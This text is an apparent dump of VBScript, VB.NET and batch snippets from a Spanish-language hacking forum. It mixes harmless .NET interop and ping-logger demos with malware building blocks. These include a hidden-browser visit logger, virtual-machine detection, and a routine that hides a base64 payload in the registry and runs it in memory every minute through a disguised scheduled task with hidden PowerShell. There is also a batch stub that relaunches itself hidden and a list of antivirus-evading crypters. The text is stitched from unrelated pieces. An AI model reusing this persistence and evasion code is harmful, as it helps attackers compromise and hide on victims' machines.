' Call Core
Dim InteropDotNet  : Set InteropDotNet = CreateObject("Script.Interop.Net.Linker")
' Create Import/using (equivalent)
Dim AssemblyTarget : Set AssemblyTarget = InteropDotNet.GetAssembly("System.Windows.Forms")
' Get Form Class From AssemblyTarget 
Dim ClassType : Set ClassType = AssemblyTarget.GetTypeByAssembly("Form")
' Create New Form Instance.
Dim FormNewInstance : Set FormNewInstance = ClassType.CreateInstance()
' Set Form Title
FormNewInstance.Text = "New Form"
' Show Form
FormNewInstance.ShowDialog()

'File Path Example
Dim FilePath : FilePath = "File.txt"

' Call Core
Dim InteropDotNet  : Set InteropDotNet = CreateObject("Script.Interop.Net.Linker")
' Create Import/using (equivalent)
Dim AssemblyTarget : Set AssemblyTarget = InteropDotNet.GetAssembly("mscorlib")
' Get Form Class From AssemblyTarget 
Dim ClassType : Set ClassType = AssemblyTarget.GetTypeByAssembly("File")

'Get Methods By Name and Result Type
Dim Methods : Set Methods = ClassType.GetMethods("ReadAllText!String")

'Filter By Parameters and Call Function -> System.IO.File.ReadAllText(String)
Dim Result : Result = Methods.InvokeCall("-String " & FilePath)

' Show Content
Msgbox Result

Dim oMIE 
Function Debug(T)
    If Not IsObject( oMIE ) Then 
       Set oMIE = CreateObject("VBSDebugger.Debug")
           oMIE.SetDialogTitle("VBS Debugger By Aincrad") 
           oMIE.ToolBar(False) 
           oMIE.SetDialogWidth(603)
           oMIE.SetDialogHeight(335) 
           oMIE.OpenDebugDialog()
     End If 
           oMIE.Write(T)
End Function

Debug "hola"

Dim oMIE 
Function Debug(T)
    If Not IsObject( oMIE ) Then 
       Set oMIE = CreateObject("VBSDebugger.Debug")
           oMIE.SetDialogTitle("Cutt.Ly Logger") 
           oMIE.ToolBar(False) 
           oMIE.SetDialogWidth(603)
           oMIE.SetDialogHeight(335) 
           oMIE.OpenDebugDialog()
     End If 
           oMIE.Write(T)
End Function

Debug "Starting Cutt.Ly Logger By Aincrad"
  Dim IE
  Dim MyDocument
    Set IE = CreateObject("InternetExplorer.Application")
          IE.Visible = 0
          IE.navigate "https://cutt.ly/RjmR9Bj"
    While IE.ReadyState <> 4 : WScript.Sleep 100 : Wend
    Debug "Ready Page Loaded"
    WScript.Sleep(5000)
    IE.Quit

Tubat.bat > Codigo.txt 2>&1

Dim VMDetection As Boolean = ProtectVM.IsVirtualMachinePresent
        Dim VMDescription As String = ProtectVM.DescriptcionVM

        If VMDetection = True Then
            Msgbox("Detect : " & VMDescription)
            Timer1.Enabled = False
        End If

 ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Handles the <see cref="RunPowerShell"/> event of Execute Payload.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="FilePath">
    ''' Path to Payload.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------

    Public Sub RunPowerShell(ByVal FilePath As String)
        On Error Resume Next

        Dim Payload As String = String.Empty

        Dim PS As String =
<a><![CDATA[powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\PYLDAPP\).PYLD)).EntryPoint.Invoke($Null,$Null)]]></a>.Value
        
        Dim PYLDSTR As String = ConvertFileToBase64(FilePath)

        CreateSubKey("Software\PYLDAPP", "PYLD", PYLDSTR)
        Diagnostics.Process.Start(New Diagnostics.ProcessStartInfo() With {
            .FileName = "schtasks",
            .Arguments = "/create /sc minute /mo 1 /tn PolicyUpdate /tr " & """" & PS & """",
            .CreateNoWindow = True,
            .ErrorDialog = False,
            .WindowStyle = Diagnostics.ProcessWindowStyle.Hidden
            })
    End Sub

    Public Sub CreateSubKey(ByVal Key As String, ByVal ValueName As String, _
                             ByVal Value As String)
        Microsoft.Win32.Registry.CurrentUser.CreateSubKey(Key).SetValue(ValueName, Value)
    End Sub

    Public Function ConvertFileToBase64(ByVal fileName As String) As String
        Return Convert.ToBase64String(System.IO.File.ReadAllBytes(fileName))
    End Function

for /L %%a in (0 1 30) do (
	set/p=Û<nul
	>nul ping -n 1 127.0.0.1
)

@echo off
color a
goto kill
:format
 
Rem by **Aincrad**
set año=%date%
Set hora=%time:~0,8%
 
Set nombre= [%año%]-[%hora%]
set Ip=127.0.0.1
 
if not exist log.txt goto Createlog >nul
 
  echo Haciendo Ping a %Ip% ... (Revisar el Archivo LOG).
(
    echo/
     echo %nombre% 
    echo/
    echo/
     ping %Ip% -n 1 
    echo/
   echo/
  echo/
echo ---------------------------------------------------------------------------------------------- )>>log.txt
goto format
 
 
:Createlog
echo Underc0de Forum >log.txt
goto format
 
:kill
tasklist | find /i "PING.exe" && (
TASKKILL /IM "PING.exe" /F
goto format
) || (
goto format
)

@ECHO Off
set ipf=127.0.0.1
(
  FOR /L %%i in (1,1,5) do (
    <nul (set /p tm=%date% %time:~,-3% )
    PING -n 1 %ipf%| FIND "TTL"
  )
) >> pg.txt

@echo off

:Comandline
IF ["%~1"]==["-e"] goto o

:Crear vbs
set Batch=%~dpnx0
(
echo set objshell ^= createobject^("wscript.shell"^)
echo objshell^.run "%Batch% -e"^,vbhide ) > %temp%\bas.vbs
start %temp%\bas.vbs
exit

:o
::::::::::::::::::::::::::::::::
:: Tu código aquí...           :
::::::::::::::::::::::::::::::::

2012-Crypter
    Anonymous Joiner
    Assassins Creed Bin
    C-51-Crypter
    Camuflaje-Crypter
    Camuflaje-Simplev1
    Camuflaje-Simplev2
    Cardi Crypter
    ChukyCrypter
    Cold Seal Cracked
    Cruz-Crypter
    CyRuX-Crypter v1
    Cyrux Crypter
    Estrella-Crypter
    Ferrari v1
    Grab link
    InsidiousCrypter
    Islas Malvinas-Crypter
    Kill Zone
    Lito Vitale Crypter
    Machine Fud
    Masters Hackers
    Matatan-Crypter
    Metal Crypter
    Metal_Kingdom-Crypter v1
    Mueran Avs Crypter v1
    Mueran Avs Crypter v2
    PRIVATE M3
    Paz Crypter
    Pedro-Crypter
    Poison123-Crypter
    Poyson Ivy protector
    S.C By M3
    SEXY v1
    Sexy v2
    Sexy v3
    Sexy v4
    Techo negro
    Tesuda
    UD tools
    UDTools-Crypter
    Under M3
    Yeikel-Crypter
    cattyperryCrypter
    chronic
    chucky
    coluche
    conejitacrypter
    crypterdeathnote